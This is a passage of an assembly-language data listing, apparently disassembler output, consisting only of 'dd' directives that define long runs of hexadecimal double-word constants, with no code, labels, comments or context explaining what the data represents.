		dd 4C9BCD5Fh, 5D3E81Bh,	30F5E894h, 0B4FB4F09h, 0D5DD2047h
		dd 8F71A1CDh, 957A542Fh, 0FC1B335Bh, 27CAAF47h,	69ABA335h
		dd 207FDFC2h, 5BF6D0C8h, 8AF30094h, 8B2E646Dh, 98C1BE8Bh
		dd 58F25DCDh, 167718E9h, 16C14ABEh, 643A3A98h, 0DA41BB90h
		dd 6BCF0B6Bh, 347148FCh, 0C808B260h, 45E4FFDAh,	848665EBh
		dd 0EF0760A1h, 0D6C01233h, 0A179FFB8h, 66CE09C0h, 0FFAF799Ch
		dd 0F09C2A94h, 0C9179CBDh
		dd 6DAF366Ch, 6932C6D4h, 51321365h, 0E9C13CA9h,	82899FFCh
		dd 2427514Dh, 0C3ABF325h, 244A12D8h, 0A17A7564h, 0AC1AEC62h
		dd 54C214C8h, 14F2B6AFh, 0C5A99B8Ch, 8E573475h,	0E8EACB16h
		dd 4C67595h, 0FE58FBAAh, 0C5664539h, 290D2E12h,	0C438E88Dh
		dd 0B98DEA9h, 0BCF08A0Ah, 0F916E0D5h, 0E43143EBh, 8A0C13C5h
		dd 1D9BC992h, 0B6B3DAA4h, 6615762Fh, 478AD4C8h,	48BBC7C8h
		dd 8237A877h, 62CBBFAFh, 38CEA612h, 7F2CA5E0h, 0A5C90B99h
		dd 0FB925EFBh, 711FC1D4h, 0D37979BAh, 13C5EDEEh, 0DAB07317h
		dd 1628C941h, 2AB0B7CCh, 485B1685h, 0D882C731h,	803FBF51h
		dd 0F17E7158h, 56A3367Eh, 22B19013h, 7CDA5B10h,	0F154D914h
		dd 6B15F730h, 7317AB60h, 8B2A4036h, 71C408A3h, 0FD0EE24h
		dd 48203FD5h, 0CC716731h, 4B07BCEDh, 0E57B6AE9h, 0A63E4F6Bh
		dd 0AB6C33EDh, 0F870BA54h, 0E2041637h, 0C58DCE6Dh, 5DD6B9Bh
		dd 0C1CD3680h, 0F4B68C3Dh, 3478B731h, 0C53F646Fh, 0F0863529h
		dd 8EDE8E02h, 0D9C2DF67h, 3713A29Ah, 0D25E1195h, 4E1E0CE3h
		dd 0D183C573h, 0B29513E4h, 90C0C905h, 6948ADB2h, 94B7755Dh
		dd 83DAEB13h, 0F31C7B01h, 38705649h, 4416A683h,	12FE5D09h
		dd 3C259B15h, 59593B63h, 0C753F277h, 49C3F0C7h,	0C962C2AAh
		dd 27B23DCAh, 1351ED08h, 0D48AFF5Dh, 9023F40Dh,	91C5699Fh
		dd 1F2D8FD9h, 19C86905h, 68A8274Fh, 0E4D309E5h,	0B14CB330h
		dd 1E74F80Ch, 0C7FD199Bh, 92A7FFE6h, 6DA6DABFh,	8D3CBAF3h
		dd 429B860h, 0A76AFE56h, 0B7A973CCh, 90689F24h,	2AE20EDDh
		dd 0C7D71AB6h, 6FB09C0Ch, 7984BF55h, 221EC56Ch,	0FE9C4F45h
		dd 0F41F9BA4h, 6FAD7190h, 0D835CB8Ch, 335B4BD9h, 0B00A425Ah
		dd 9BA87737h, 0A213DE9Eh, 5C9DF502h, 7CC0419Ah,	8327B171h
		dd 0CACBB2D7h, 0F85E265h, 0FC4166E8h, 4BF73157h, 7F10244Ch
		dd 779741Dh, 31BCBA53h,	0D6100489h, 41F705E0h, 0AD2E5F51h
		dd 5CE56ACBh, 93F92B76h, 0D27BA22Dh, 0D1F5146Ah, 1D67D6ABh
		dd 7E302F42h, 7BF68530h, 0E6DB9C72h, 0E798447Fh, 35DE508Ah
		dd 0FF4A2AA5h, 0E5B05A45h, 1388D46Ch, 7326DA44h, 712988E1h
		dd 0EB299EF3h, 5F61C3D1h, 863518Ch, 0E3136157h,	5BC259E3h
		dd 0CF03418Dh, 0F6325B01h, 8347190h, 5E3A9176h,	4A538FEEh
		dd 0E1F51BF0h, 1B27E710h, 0B710D097h, 1CF3AEE2h, 0D4E26634h
		dd 5D9C6503h, 7DFD6528h, 8E514D75h, 0D9F3B05h, 129F58D8h
		dd 62B3CCD1h, 93A522C4h, 0EB7F7E4h, 0E751B735h,	8B339307h
		dd 37F9C68Fh, 18815B09h, 6754F99Fh, 3E8D998Ch, 0FF74189Dh
		dd 8793F1E0h, 8B2D4CDFh, 0A2F751A1h, 3B3E24A6h,	0BD66AF3Fh
		dd 0F703D7BBh, 406005CBh, 0D6F257Fh, 0C1899F00h, 4CFB326Ch
		dd 0D71EF39Bh, 0F01FF8F6h, 320B5DC1h, 0F919247Bh, 0F7509018h
		dd 34FBA415h, 48F5B462h, 0B6BE1ECAh, 0DA0B9E9Dh, 8FBDDB55h
		dd 0BB103A1Ch, 5168A92Bh, 70A1914h, 80D25E7Dh, 0CE70CA8Eh
		dd 29709767h, 9E409C1Eh, 0ACCEC7D1h, 200A6185h,	0D18BA203h
		dd 407D5CB3h, 0D98DB525h, 45BEFD23h, 34943AFFh,	3F6E4DAEh
		dd 80D1C11Eh, 2C7B9016h, 0B2FAA6B0h, 756595C4h,	1C457FEFh
		dd 0ECA13F9Ah, 1A0B1D2Ah, 417E19F1h, 0DE5B2546h, 0E3BC4ADDh
		dd 793AEEh, 0F4BE1521h,	365A63Eh, 8C4E60D6h, 775BACCAh
		dd 5186DF85h, 9F82B8Ah,	0F47712D1h, 9EB92592h, 363E1967h
		dd 8F535FCh, 0F4A0117Ch, 32F6A1C3h, 0E5244EF6h,	123F4182h
		dd 40EE36FDh, 0A13722D8h, 168F1DEFh, 42DE62BEh,	920CEEBEh
		dd 500A7D2Dh, 719D2F65h, 1AF775C7h, 0CB84D6C2h,	0C4250A27h
		dd 0F34A791Dh, 0D95EF4D7h, 1962740Eh, 0B085F35Bh, 70B155DDh
		dd 38FC7166h, 42EE2770h, 0A36476BAh, 0FA4B4BB6h, 3F12E552h
		dd 8C9FEDC8h, 25D1496Dh, 381E7A03h, 1E989F5Dh, 0C4484D50h
		dd 6F119476h, 2AD01656h, 6B728F00h, 3EC22DE8h, 42E31967h
		dd 6D83FBCFh, 7930C162h, 0C9A8A9C9h, 1134A43Bh,	7778BFECh
		dd 7FEAC598h, 6AF02E33h, 0F2ED7727h, 67DC1A1Dh,	30C7A9F7h
		dd 0D1254C76h, 0A1E42E15h, 8ACD6C43h, 0A33BDDBDh, 584AD5Dh
		dd 0F9456EBAh, 0CD25D81Fh, 0C57E1668h, 0AF6FE518h, 3B6CC38h
		dd 28F6F191h, 0F7AF272Dh, 0FD35841h, 0AB3FBE9Bh, 71ED57D5h
		dd 59EE862Bh, 8B1825CDh, 351D7171h, 0BA36E3C3h,	0F31D20F7h
		dd 0F8301CA5h, 8075938Ah, 92D77A77h, 0B977FDDAh, 21910D3h
		dd 5BF2CC28h, 0A3740A25h, 0A7D4317Fh, 0C81C891Fh, 0CFFAF542h
		dd 0DB8D1006h, 8B5A8419h, 904FD03h, 0A876B47Eh,	7CD31610h
		dd 0CD69CE43h, 0B1C186ACh, 1474C429h, 0BAAD008h, 0D44EA052h
		dd 8E7FAA3Dh, 744B33FCh, 7DE4638Ah, 0E74FAA81h,	0F3680A57h
		dd 2B75E95Eh, 1CCCA0D5h, 0CA85DDECh, 35ACDCADh,	0A7ED3263h
		dd 0B2FA9A0Ah, 5C76E7C5h, 0C03AF945h, 3CF08E25h, 0CCB58968h
		dd 4C64EECCh, 6E15AF11h, 277F640Fh, 0C42160AFh,	0A7AEE1D8h
		dd 51B3C11Ch, 5CF263F7h, 630FC0A3h, 0CE264298h,	0DF18544Bh
		dd 1C5480A6h, 906B312Eh, 13D6C1h, 0D6123C18h, 87960606h
		dd 43DE6FC1h, 4F30F35Fh, 2F44174h, 0D1970B90h, 4A1CA4B6h
		dd 0B605FD10h, 7D9BD3C5h, 357F658Ch, 9CE5D12Ah,	8758F1E6h
		dd 9D1F8CEBh, 0E79CFFBBh, 63DA421Fh, 0EAE28C87h, 7F577A55h
		dd 2DE7FB64h, 9B45C219h, 193E9B11h, 0E3F53E17h,	0A8EBC4CBh
		dd 5B7DA692h, 20F42F5Eh, 0CD1C2D1Ch, 69A6B990h,	0E7D45068h
		dd 24D24CE3h, 561CCFF8h, 3C286BE8h, 6020E63Fh, 0F1945D73h
		dd 8AE4211Fh, 0D194323Ch, 0EBF8EA57h, 8AE9065Ch, 68783DD1h
		dd 3757CF0h, 9DF04D2Eh,	0B15BEFD4h, 0C2A61082h,	3F1601D7h
		dd 922B47FEh, 0DDB488C6h, 64095877h, 0B1DBB70Ch, 91837243h
		dd 56B42CFAh, 170DA42Dh, 49C3962Dh, 59E354DCh, 0F5DD2F6Bh
		dd 0E4F92ECBh, 31B9166Dh, 8DE61B74h, 71E0C97Ah,	23DF83Dh
		dd 0D36A4D8h, 445CE78Ch, 0D18B09BBh, 3AD03F20h,	0EA73FB9Fh
		dd 6FA5EB8Bh, 5F1A220Eh, 686AC0A7h, 0B75AD4F1h,	9D9B01E6h
		dd 5F1ABECCh, 0FA2A095Eh, 76353AFDh, 65A9EB92h,	656D2978h
		dd 0EBE36BFBh, 0DF041FF1h, 0D306C4FCh, 0F2EAD3AEh, 2F7C6365h
		dd 146965F1h, 64625A59h, 26FA5510h, 53802897h, 1641A859h
		dd 81B8DC58h, 0C1F348F5h, 0D5C3702Fh, 0DB135A5Bh, 0DEAE7205h
		dd 8130EA02h, 9CDDE153h, 0C96A32C7h, 602D012Dh,	0E7C4850Ch
		dd 1752FB31h, 4249BE6Bh, 0D8664898h, 3A404047h,	0BC30E35h
		dd 0EBF82F98h, 0A6A91B38h, 6184240Ah, 250B6276h, 2AB84061h
		dd 20D6BB3Dh, 314FCE54h, 5030FC41h, 14CEC308h, 2C2B1915h
		dd 37725253h, 821D729h,	80F05AA0h, 0B66B8F1Bh, 68F78973h
		dd 0F6922759h, 9124D56Ch, 52AD4E89h, 0DEDCB967h, 25DD1523h
		dd 378086FCh, 0AA902349h, 0AD83F36Ah, 0BF2C8DA0h, 1EFFB070h
		dd 0C3E69A89h, 868E4B84h, 0AE3C79CEh, 9458D2B4h, 9D54FA84h
		dd 59A2E23Bh, 285ED165h, 9B854BF1h, 68616484h, 0B752D721h
		dd 283DC62Fh, 0A3AD6B91h, 7C3E296Ch, 46BD538Fh,	51D64FDDh
		dd 0B070A569h, 89F754Ah, 0C37849CCh, 263755EAh,	758A3204h
		dd 4F87FB17h, 0EAD153D5h, 2E9BA223h, 0EC48E706h, 67D729DDh
		dd 2DB3B5A7h, 44F60726h, 0B2500C6Ch, 0CD76BC33h, 93A45BDCh
		dd 82693629h, 0DFDFD404h, 14CC0F83h, 55DC52DFh,	297950C6h
		dd 4DEB8062h, 27D53FE9h, 0BDB20488h, 684A12F8h,	1ACA15F8h
		dd 0C11DEC54h, 6940ACD3h
		dd 3ECFD753h, 0BFE8065Dh, 5169304Eh, 4F11B1A5h,	0A5B5C471h
		dd 6A8D5919h, 0ECEFF33Eh, 0DE601B58h, 0C11FE6EDh, 8590688Ah
		dd 50BFCE17h, 0FE4D1DC7h, 0F91BA5CFh, 0F5C88EF9h, 0DC2BA728h
		dd 47A2DC90h, 0FA096F8Fh, 22513C7Ch, 0A5B4C5F0h, 1CCE4244h
		dd 0DE3561EDh, 19FD99C1h, 1EE8EFCFh, 5007240Ch,	7F4CC0FAh
		dd 2E44B33Fh, 1F032058h, 5FFDB464h, 0BD656215h,	0AD5C3EDBh
		dd 41CBE1B5h, 111AE4FCh, 50023C64h, 86FA33DEh, 2A43420Ch
		dd 28D4CA97h, 372E9956h, 0D466E797h, 2A193A8Fh,	0CCEB80BAh
		dd 0D371A12Ah, 93288EDBh, 0BAA14580h, 0F681BF90h, 0C935A8CEh
		dd 0F9EC1260h, 0C912431h, 0F0308FC2h, 1292E5D7h, 44292B44h
		dd 430439C7h, 36C3EE1Ah, 0CCE16740h, 0D6F9447Dh, 27E7EFBDh
		dd 13EC4083h, 436FCF87h, 891258C4h, 19879E03h, 0CB07BA1Dh
		dd 9C956C9Ah, 5E206BEBh, 0B7EB733h, 0D2532A48h,	0A095C06Ah
		dd 9EBE1619h, 58FA5715h, 5B03D6CCh, 80262077h, 37C72315h
		dd 0C1B5F21h, 532BC237h, 0BBBC95A3h, 0EE394439h, 0AF4B24Bh
		dd 4F4A74FFh, 0C02612D7h, 0F1DE0280h, 0DAF5D44Ch, 369E4DEFh
		dd 0C887D0D1h, 0CFE744A3h, 0A4E9DE57h, 0E5FA26D7h, 803AB48Bh
		dd 14FDC6A9h, 9AEC950Ch, 8E265E50h, 3C44EB12h, 0C9A3025Bh
		dd 19C22E2Eh, 0E07F4B3h, 19E3EC9Ch, 24453969h, 29809E92h
		dd 68415266h, 24C348A6h, 96FCACE8h, 0DCBC4653h,	0BAC76A4Ah
		dd 0AA76E955h, 32202FBEh, 696C5243h, 5C18534Eh,	0F7AFAB1h
		dd 0E6948778h, 0FCF22AECh, 8C47451Ah, 3E137661h, 0A82FF0A8h
		dd 0B980F13Bh, 0C18FAB33h, 3DA40B1Ah, 0CE169452h, 0D14FFFDAh
		dd 8745D227h, 0C4C8FB44h, 0A43CBB2Bh, 0BF94353Ch, 0C6E817B6h
		dd 189968FEh, 0CD8A93B7h, 6211BB12h, 629CC7B1h,	0EF63D9F2h
		dd 0D67ECCD6h, 3D9D085Bh, 399E39BCh, 3A43E6E8h,	0DF17B3DBh
		dd 17FFE229h, 9FE7D3F4h, 0D9F220EEh, 93DA7D81h,	1B705970h
		dd 0B491DC42h, 17A22AB7h, 949E3A3Ah, 0EB598737h, 0AFCB2533h
		dd 80BE880Fh, 20E27405h, 6F434720h, 66C4BD62h, 0DBF790EFh
		dd 11887205h, 0D2E01578h, 0C4812ABCh, 7BE6B896h, 20DE7B0Dh
		dd 416EA6FFh, 0FA036F01h, 6C2BEB66h, 0E8B99088h, 96DD90ECh
		dd 32043739h, 0ACAD990h, 0CCB5F2C7h, 8D98E70h, 2200EEC6h
		dd 3CC8AC60h, 2A30656Bh, 6CEAD929h, 0D7AB3246h,	417055BAh
		dd 0A01BF13Ch, 2FDBF0C6h, 2CE2F5FAh, 76B6F0F4h,	80088A9Fh
		dd 0F909F85Fh, 0DACE7AF9h, 9AC13254h, 7E66E1BAh, 0E83ACC3h
		dd 40C6D1C4h, 0F7AEDB94h, 5928D46Fh, 3FE500h, 0DFDF034Ch
		dd 3A3C719Dh, 88CC7AD8h, 8AD7D0D5h, 4C808344h, 498A7054h
		dd 5D2D3F60h, 0B989EF86h, 5B87258Ch, 9FD9550Fh,	7C66C368h
		dd 18BDA67h, 5DDA16A2h,	0C0CB9D1Ch, 4265D407h, 57B3679Ah
		dd 0C5F596EFh, 53D74B40h, 0E7656A09h, 0A5B1C478h, 5B1F0133h
		dd 92BFB2A8h, 1AC2FEB4h, 0FFCE9305h, 0C148EFB6h, 4F7E4096h
		dd 9ED05DF2h, 0E6C4B1B3h, 0A0BFC432h, 0EA26EF8Ch, 76470E9Fh
		dd 0D6DDA944h, 0F994875Eh, 0F3BAB16Ch, 0FB41E7DFh, 0FBC1A8DDh
		dd 0FB59EF82h, 5F2C315Fh, 37B6B85Ah, 3FE5C724h,	0EFCC8515h
		dd 0E04153CFh, 0C753BAD0h, 0D16A1A79h, 7E67DEEDh, 10B9C48Fh
		dd 0B4474A00h, 0D32E0D48h, 8AAB64D3h, 0EA826534h, 9FED0652h
		dd 4D4A2450h, 68AA8751h, 0EA7298EDh, 0F8824195h, 889A916Bh
		dd 0E41E25ECh, 0E5858DD4h, 1509407Bh, 7E93D292h, 2480193Ah
		dd 0FDA332F4h, 92D279C4h, 5C23FC77h, 9154CEDCh,	0A74A70CFh
		dd 0EFFD8773h, 12142241h, 4186CC66h, 0FDB4FD5Eh, 7D7FFE4Bh
		dd 0BA4EBCCh, 943E0C6Eh, 0CDBCE5BDh, 45736B1Fh,	0C06496Ah
		dd 0A0A3FE83h, 31E2C853h, 7E304905h, 710F8B4Dh,	3E891B0Ch
		dd 0C64B9461h, 0B81C35A1h, 0D3E84CAh, 0C427082Ch, 0D9A579BEh
		dd 77B7170Ch, 585AD80Dh, 3D8B95BCh, 0A9A57381h,	0A7733B09h
		dd 732FD2EAh, 63B734Eh,	7F0F795h, 21CB8708h, 1E299B39h
		dd 33D104E1h, 0BFDC55C2h, 4C52D45Eh, 0B91C9104h, 6DBD6D0Eh
		dd 7575D1E7h, 0CD96C227h, 9E0F61B6h, 0BD039938h, 0BF02161Eh
		dd 3DDFC207h, 4E49C22Dh, 9D92EF3h, 0D8EAE1F1h, 3DC04DFAh
		dd 5E3FCDCh, 55B357ADh,	0C1F5C271h, 0DAF4E675h,	9CBA4B6Eh
		dd 6B8C448Dh, 88DC850Bh, 789F4134h, 0F236EAE9h,	74930206h
		dd 0E0E38D89h, 0FE5B022Ah, 0E0B3FB83h, 0C7956FFBh, 8FE9B191h
		dd 7F31BFEFh, 0E9C1A563h, 40F3503Bh, 40453CE4h,	13257DC8h
		dd 0A0186EC2h, 0CE3B7A76h, 0C2E9A524h, 0C07DFB71h, 0C214D32Eh
		dd 34A61227h, 5CCDD9B8h, 0BC4BBD5Dh, 385CAF92h,	0B4D40415h
		dd 0B4C7141Ah, 26524233h, 0F5B6FE5Fh, 18AC9A7Ah, 0B82CA070h
		dd 8E014312h, 0BA6B508Bh, 13015443h, 790133E7h,	195EF889h
		dd 5B7A8396h, 900CBD9Fh, 8336EA41h, 0A177980Eh,	0DD24B0CCh
		dd 501D214Eh, 0A3BD5D18h, 0DDB577C2h, 9E9E4F62h, 51EF6363h
		dd 0FD271706h, 0BC093CE7h, 8731273Eh, 433A4AB9h, 0E61E2AEDh
		dd 0F28FE37Bh, 0BDBFED6h, 0BF23CA2Ah, 1901AC07h, 0C4802A8Fh
		dd 2CD47056h, 791C2BD9h, 2212F0F4h, 0AE25505Eh,	0B9AA962Ch
		dd 8ACB4B97h, 165A8BA2h, 0AFB91BB6h, 34CCE3D6h,	9A7F6B44h
		dd 3EC489F9h, 8748079Ch, 0F40F37A5h, 71C952B8h,	693863F7h
		dd 0B3842F9h, 3E216B5Ch, 92AB53E1h, 1F7B14FCh, 0AE81BF88h
		dd 70296A11h, 0CA7F8893h, 9F8A7DBCh, 9A3F8BEDh,	0B849169Ch
		dd 998133EEh, 663BD301h, 3EBB2737h, 5F7C7AA7h, 3311375Ch
		dd 92ECCD23h, 0F9C0E30Dh, 0CEEBA511h, 0CA01A1EEh, 0D0A1DC3Fh
		dd 32FEA9ADh, 2BAE2582h, 0A51AEAC6h, 4E1C65EEh,	79816228h
		dd 453BF929h, 8FAAF294h, 1B1E8C77h, 9B1EAAC7h, 87ED4AFh
		dd 9F96EF4h, 0F4E5AF83h, 9CE394A5h, 46493360h, 0E293F3ADh
		dd 3BBD847Dh, 0D58FBC4Ch, 3480D4D0h, 24323732h,	9C0ED83Dh
		dd 0F8B150A8h, 36EDE107h, 9C4198F5h, 696FB526h,	53F5C8B7h
		dd 0FFCC5632h, 24ED2235h, 8FBB4A79h, 590EB748h,	0E59BC4C9h
		dd 0D3ED6425h, 0F6E3B3C1h, 1BE573C3h, 28839A7Ch, 5644C47Bh
		dd 4DA6A599h, 688A3E46h, 4580CB47h, 0DDCBCC52h,	0E3F441CBh
		dd 36571509h, 9975FA87h, 6A4E2031h, 0EA317231h,	2D4A809h
		dd 4B2774A0h, 16832074h, 0BA7070EBh, 6B2583F0h,	0E1AEB04h
		dd 755B50BDh, 35DCE447h, 36E1687Ch, 0B4F560DAh,	0ED1B70F8h
		dd 36957CE3h, 0B157DF51h, 2A525CFDh, 8297305h, 17573692h
		dd 5F31DE5Ch, 8EEBD1A6h, 1A318A4Fh, 98CF00DEh, 2CFB498Dh
		dd 0E74C6833h, 3352AA08h, 43F985B2h, 46C14C27h,	0B8D32BEEh
		dd 2691FE3Ah, 401987FFh, 0B52582B1h, 19A4F7EFh,	3A5A460Ah
		dd 5F0D8044h, 1B4A4BD0h, 0A7CD4643h, 9EEA5523h,	0C7F95EF6h
		dd 0D68AC851h, 4718CC28h, 0E9CFB894h, 9B981972h, 0F6FC2B48h
		dd 567FD76Eh, 0F30674DCh, 375515D6h, 0AE843BBDh, 10EDDDD8h
		dd 375860CEh, 3CF9CF3Fh, 0F8BB721Fh, 9E4C459Ch,	5ADE24EFh
		dd 8A3ABA83h, 0A432B636h, 48EDCACDh, 0ABA982Ah,	993E5CC8h
		dd 16239Bh, 0F344490Ah,	0D3CD33A7h, 0F58A0ACAh,	0BCC068A5h
		dd 91BBD2A6h, 53CE1DCAh, 1427CB36h, 612BE3A3h, 0C18E4D69h
		dd 25705423h, 377DDAE1h, 0FCC7B625h, 1A6C70DAh,	52C16284h
		dd 40089FEAh, 409CF9DFh, 0EB3F213Fh, 9163D98Ch,	0C639D3DAh
		dd 0D52F2A1Dh, 0A95ADEA5h, 6CB24F9Dh, 4AE6F4EDh, 0C287AA6Ah
		dd 0FDBD2D39h, 9AB9DC61h
		dd 35A963EFh, 6A0A1844h, 726B0218h, 0ED52F9D8h,	97357AD4h
		dd 0E998DD1Eh, 4C88A240h, 2D78C9C9h, 0A7126AB3h, 5AE08D3Ah
		dd 0E118950Dh, 0EB01AD0Ah, 8FD31D1Dh, 942C5CA8h, 0D958579Dh
		dd 497434D9h, 261EC6E6h, 3EC5DDE6h, 91F7B588h, 0B8474E6Bh
		dd 0A58373BBh, 0D42B3A9Ah, 57D99E1Eh, 0FE8A8789h, 0AA5E63B1h
		dd 87FBB38Eh, 399AADA3h, 8AA26237h, 170AFB12h, 52AB5D73h
		dd 27AD5E51h, 8B848162h, 77C37D8Eh, 0A39624C2h,	7EE624DDh
		dd 0CEAA6904h, 2B485152h, 124A109Fh, 0F74CE28Eh, 99FFE67h
		dd 8D8AA473h, 1771893Ch, 874151B0h, 0A43D7529h,	0CF6B769Fh
		dd 0EB3BAE2Dh, 784B294Ch, 0BF19EC36h, 0A4EB0982h, 0EBD37114h
		dd 829751C7h, 6C6D0402h, 0D144F9D6h, 68FBCC94h,	652B4C43h
		dd 0A025B05h, 35725B65h, 4DE8BEE7h, 156AF9FEh, 58BCB168h
		dd 428C9CF4h, 1CDC3434h, 7A1899C1h, 85DB08F1h, 0C2BDEFF6h
		dd 57898E22h, 0E97E567h, 338E7CE1h, 83D6761Eh, 4476F8FFh
		dd 4DC99573h, 0BF4443AFh, 1252EE75h, 0A83EB9F9h, 0F0AFBA30h
		dd 0AF59B07Ch, 933A4424h, 69F7A25Bh, 2920D460h,	7178D792h
		dd 51D814FDh, 0BBC853A4h, 0E97C40C8h, 0DB050938h, 875CD125h
		dd 130E302Eh, 71A356D1h, 4340E609h, 20A65A44h, 0F1D4C219h
		dd 525B6D33h, 0F3C96050h, 26DA7537h, 224B6723h,	0A02F94E3h
		dd 49EFC53Ah, 5D67F79Dh, 94E6A313h, 8B9EC80Eh, 5BF5A58Eh
		dd 24899ED2h, 91A11FB3h, 6AD0B590h, 636D5A54h, 5C1A4561h
		dd 5A6516FFh, 929C7B95h, 0B671E269h, 1F4B7A5Dh,	0ED9E451Ah
		dd 3411E82Bh, 72B8CAA2h, 0B4597A17h, 0E5E5AAA8h, 597EB0F6h
		dd 4984BCC8h, 0D26B2A46h, 85CC0BE4h, 7E2B9A73h,	0A88A65A4h
		dd 0F1F93E67h, 0FFDB4BF1h, 0FB1DF4E7h, 81C57457h, 0A187B4A0h
		dd 398EF1E7h, 50BE72BDh, 65127F89h, 1F732A9Bh, 832945E1h
		dd 0C1CF82FFh, 383EAA5Fh, 2AD41C0Eh, 4415A02Ah,	0A5730DFCh
		dd 0F86605F2h, 90037472h, 3FE3CAF5h, 9484EC4h, 815B3F1Ch
		dd 250061B6h, 0FF6AEE07h, 53733151h, 0AE2DCDCh,	28CE5985h
		dd 0BD623100h, 6703DC59h, 0DE2C219Dh, 0EF3A60E8h, 47EB6181h
		dd 0BAE2B6C8h, 9A393CC7h, 0A3C9BE80h, 0F1E7162Fh, 899A00ADh
		dd 7CBE54D4h, 13140193h, 841BEDA5h, 0C2DC2FF3h,	97C803A2h
		dd 8FEB6029h, 99DC571h,	0EA6D30EDh, 699C43E5h, 0A893F0A2h
		dd 0D0CA6330h, 8A4CC0F4h, 7BA5895Eh, 5C8932B3h,	9FDDECF1h
		dd 0E3EEB39Dh, 0BCDFC3Ch, 0D45976D6h, 6AA8DD01h, 0D1BB0706h
		dd 91B554B1h, 79440C9Dh, 0DB16AE0h, 8716DE95h, 70BFFC30h
		dd 6B2BA5E2h, 3EA7600h,	62F1D3AFh, 2582518Fh, 0F670014h
		dd 8375109Ch, 96836378h, 0BDBAED42h, 237153DCh,	31C27F69h
		dd 0E5920DF0h, 0D9F6EA47h, 19FCABEDh, 9565DDE1h, 0DF1BC691h
		dd 6298EF8Ch, 638B26AFh, 0C099A4FEh, 0C5A9F3CBh, 69C9CACAh
		dd 785F387Ah, 36B1E49Bh, 1A939462h, 92E8F30Ah, 0F61A05A4h
		dd 2CE84E48h, 7A21F6E4h, 14CAAC5Ah, 9C29BE0Dh, 86578260h
		dd 0C3AFF919h, 78B01349h, 72E09550h, 7708B6D8h,	2D738FCAh
		dd 51E970B8h, 0D3FFE10Eh, 0A7DC4606h, 132BAF66h, 4288BCD1h
		dd 68F960B0h, 872CB82Ch, 38B8056Eh, 308AEAB9h, 963696EAh
		dd 240FB549h, 0B8F75BB1h, 0F53F7A31h, 4244A242h, 81E7E205h
		dd 34F422B5h, 7303475h,	71F817C4h, 25F95856h, 0B2D3C4D7h
		dd 8D61FCFAh, 0E2DA901Dh, 8C660977h, 0C3CE02D4h, 1076D00h
		dd 2397F1F1h, 233B7933h, 51BB1B4Eh, 0A461CF41h,	2D93E19Fh
		dd 26EB69FEh, 3A3CEF71h, 0DCBBF389h, 96BC5AFFh,	0EA49AF91h
		dd 438FBA45h, 54D82605h, 0A9F5CB3Eh, 0E956CF1Eh, 0A7E72865h
		dd 0E3EBF54Fh, 0C8F66C9Dh, 0D3088E26h, 5B063DFFh, 0B4B51443h
		dd 2CD25B8Ch, 0B545B801h, 0D28FBC60h, 0A08C1965h, 42111A83h
		dd 0FBEE4B4Dh, 2A81024Fh, 0F0C2DBC8h, 0C22A8766h, 0EB7754F1h
		dd 406026Fh, 7AE929A6h,	9581C4B7h, 0E8E9498Dh, 4F0A0E74h
		dd 6DC585A3h, 0F6A776B3h, 0F9D40CDCh, 934C50CEh, 0A7A568Bh
		dd 0C5FE3211h, 0C291B51Ch, 2A2D9E35h, 8ED0B34Fh, 0FB513985h
		dd 0E30A89A5h, 91F6B561h, 61196B9Eh, 0D894D855h, 9090B650h
		dd 0F17B71CEh, 4D51C16Bh, 568E7449h, 0EF25B8F8h, 306E2123h
		dd 4C206BADh, 78DDAFF0h, 412580EAh, 2845806Ah, 0E78EE47Ah
		dd 9668B01Bh, 7CEF4278h, 86BC2D9Eh, 5305A7F8h, 0F0A99D3Eh
		dd 0DFD9BDCEh, 4C554064h, 2604A257h, 538B43B7h,	35089066h
		dd 0EA20BEA0h, 2F684DD4h, 0EC1A6DDAh, 0C4828447h, 0E4E6DB1Ch
		dd 3435D63Bh, 84C0ADF1h, 7B454129h, 50FF26B2h, 0A3E26E5Ah
		dd 221D03F0h, 0FE100628h, 0F5D9E191h, 0B95D7C86h, 4B8298D6h
		dd 0BC9D43F8h, 0A53C0888h, 19439813h, 0D0E10C73h, 0BCF39315h
		dd 991EA326h, 60400981h, 0EA2DD4E4h, 6458677Bh,	3CFE6845h
		dd 806A9F28h, 97BABCEAh, 8C98A255h, 97210B07h, 0C06B6BF6h
		dd 8717767h, 81723489h,	39D12BCAh, 0E5D477C9h, 68F7B81Bh
		dd 48DCD52Dh, 0CCA9FE5Bh, 25EA364Dh, 24504875h,	27251A1Ch
		dd 0D51A967Eh, 0D33A29B6h, 543E31AFh, 0EC3DAF3Dh, 838ED84Fh
		dd 3D9EB58Bh, 0C80AA4CDh, 0DEF38DBCh, 0FEA7BC26h, 2BAE0A22h
		dd 0B26EC862h, 80C2CAF3h, 1178CC87h, 0CFD94A17h, 1B330AF6h
		dd 9026A8D8h, 0AEB15AAFh, 8459D368h, 86B93644h,	0A60C7409h
		dd 0A20E0CD4h, 63ACEABDh, 0C49AD14Fh, 76D679BFh, 1AFA37DFh
		dd 0A2D1F024h, 0AC4F6D42h, 0D1268558h, 4AE13E7Dh, 10530728h
		dd 0F0C9822Ch, 0C1243D84h, 0F4B5378Fh, 77C22ECAh, 281C6231h
		dd 174AD4C4h, 3769AEA3h, 966F3868h, 0C67CFF82h,	767979F5h
		dd 964D5555h, 0A310671Ah, 0AF220484h, 2333BC38h, 8950603Dh
		dd 8CA24FB5h, 59E277Ch,	0C1EB1250h, 9853E7BCh, 57CAC445h
		dd 88F5A1BFh, 9DA7738Dh, 1E210750h, 81A1D050h, 0E03D3DF4h
		dd 0C16F6C0Ah, 498AAEh,	7AB4E6CAh, 718D1498h, 0B1AC5132h
		dd 0F5760B64h, 1873110Bh, 7B6842E3h, 0BC765799h, 7B140F57h
		dd 178140F1h, 7FC8FFC7h, 4E0DEBC1h, 5DC94306h, 0BD8105BCh
		dd 7382F8D1h, 3484CE3Bh, 0A26561C9h, 2C14961h, 4FE0F278h
		dd 468BB4AFh, 82437530h, 9E281A95h, 4A56242Ch, 1A34B45h
		dd 0E82C71EEh, 0DEB3108Ch, 7B896775h, 3DE3E9BEh, 0DC499C96h
		dd 330D108Eh, 499EF4F8h, 272774ECh, 0C4BA36F1h,	5922DB62h
		dd 17B9ED8Dh, 0F3C0C47Bh, 8CB521E0h, 0D0AB2F3Fh, 978D4652h
		dd 739ABB5Bh, 0AA65616Dh, 0E7168E2Dh, 0EE208487h, 0B3067C59h
		dd 38FF9550h, 0A216B7C7h, 343C4DF8h, 0E4503EC1h, 0C6A05391h
		dd 4675EBA7h, 9821B170h, 1ECB3388h, 0CFCDFB01h,	0EAD42092h
